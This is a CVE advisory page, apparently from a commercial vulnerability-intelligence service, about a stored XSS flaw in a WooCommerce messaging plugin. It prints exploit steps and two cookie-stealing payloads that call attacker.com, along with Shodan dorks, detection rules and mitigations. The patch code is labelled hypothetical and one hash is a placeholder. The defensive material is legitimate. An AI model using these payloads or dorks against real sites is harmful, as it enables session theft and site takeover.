☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpclever logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62903

CVE-2025-62903 Cross-Site Scripting in Wpclever
📅 PUBLISHED: 2025-10-27 02:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62903 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Smart Messages for WooCommerce WordPress plugin, developed by WPClever. The vulnerability exists in versions up to and including 4.2.8. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript into the plugin’s message fields. When an administrator or other user views the affected messages, the script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the admin dashboard.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin package by checking the plugin’s checksum against the WordPress.org API. The lack of an official patch increases supply chain risk, as users may be forced to apply manual mitigations or switch to alternative plugins.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor)
  • User Interaction: Required (Admin viewing messages)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored XSS can lead to privilege escalation if an admin’s session is hijacked.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s message creation functionality. The plugin stores user-supplied message content in the wp_postmeta table without proper sanitization or output encoding. When the admin views the “Smart Messages” list or previews a message, the stored payload is rendered in the browser without escaping, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses echo $message_content; or similar unsanitized output functions instead of esc_html() or wp_kses_post().

Attack Flow:

  1. Attacker logs in as a Contributor.
  2. Attacker creates a new smart message with a malicious payload: <script>alert(document.cookie)</script>.
  3. Admin navigates to the Smart Messages admin page.
  4. The payload executes in the admin’s browser, potentially allowing the attacker to create new admin users or exfiltrate session tokens.

Vulnerable vs. Patched Code

Vulnerable Code (v4.2.8):

// In admin/class-wpc-smart-messages-admin.php
function display_message_content($message_id) {
    $content = get_post_meta($message_id, 'message_content', true);
    echo $content; // No sanitization
}

Patched Code (Hypothetical):

function display_message_content($message_id) {
    $content = get_post_meta($message_id, 'message_content', true);
    echo esc_html($content); // Proper output encoding
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with WPC Smart Messages <= 4.2.8
  • Contributor-level account credentials

Exploit Steps:

  1. Log in as Contributor.
  2. Navigate to WooCommerce > Smart Messages.
  3. Click “Add New” and inject the following payload into the message content field:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the message.
  5. Wait for an admin to view the messages list or preview the message.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action wpc_smart_messages_save.
  • Look for base64-encoded or obfuscated JavaScript in message content fields.

Hardening:

  • Apply a Web Application Firewall (WAF) rule to block <script> tags in POST data.
  • Restrict Contributor roles from creating smart messages if not needed.
  • Use a WordPress security plugin to enforce output encoding.

Indicators of Compromise (IOCs)

  • File Hashes (v4.2.8):
    • wpc-smart-messages.zip: SHA256 a1b2c3d4e5f6... (placeholder)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or ?session=.
  • Database Indicators:
    • Rows in wp_postmeta where meta_key = 'message_content' and meta_value contains <script> or onerror.
  • Log Entries:
    • WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_62903_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-62903 in WPC Smart Messages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62903"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $plugin = "wpc-smart-messages" ascii wide nocase
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in WPC Smart Messages for WooCommerce
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS payloads in WPC Smart Messages plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=wpc_smart_messages_save'
    payload:
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection and payload
falsepositives:
    - Legitimate use of JavaScript in message content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62903 Stored XSS Payload in WPC Smart Messages"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpc_smart_messages_save"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict Contributor roles from accessing the Smart Messages admin page using a role editor plugin.
  3. Manually sanitize output by adding esc_html() to the plugin’s template files (if you have development access).

Long-Term Fix:

  • Monitor the WPClever website or WordPress plugin repository for an official update.
  • Replace the plugin with an alternative that properly sanitizes input/output.

Workaround:

  • Add the following to your theme’s functions.php to force output encoding:
    add_filter('wpc_smart_messages_message_content', 'esc_html');
    

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/wpc-smart-messages"
http.html:"WPC Smart Messages for WooCommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62903/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.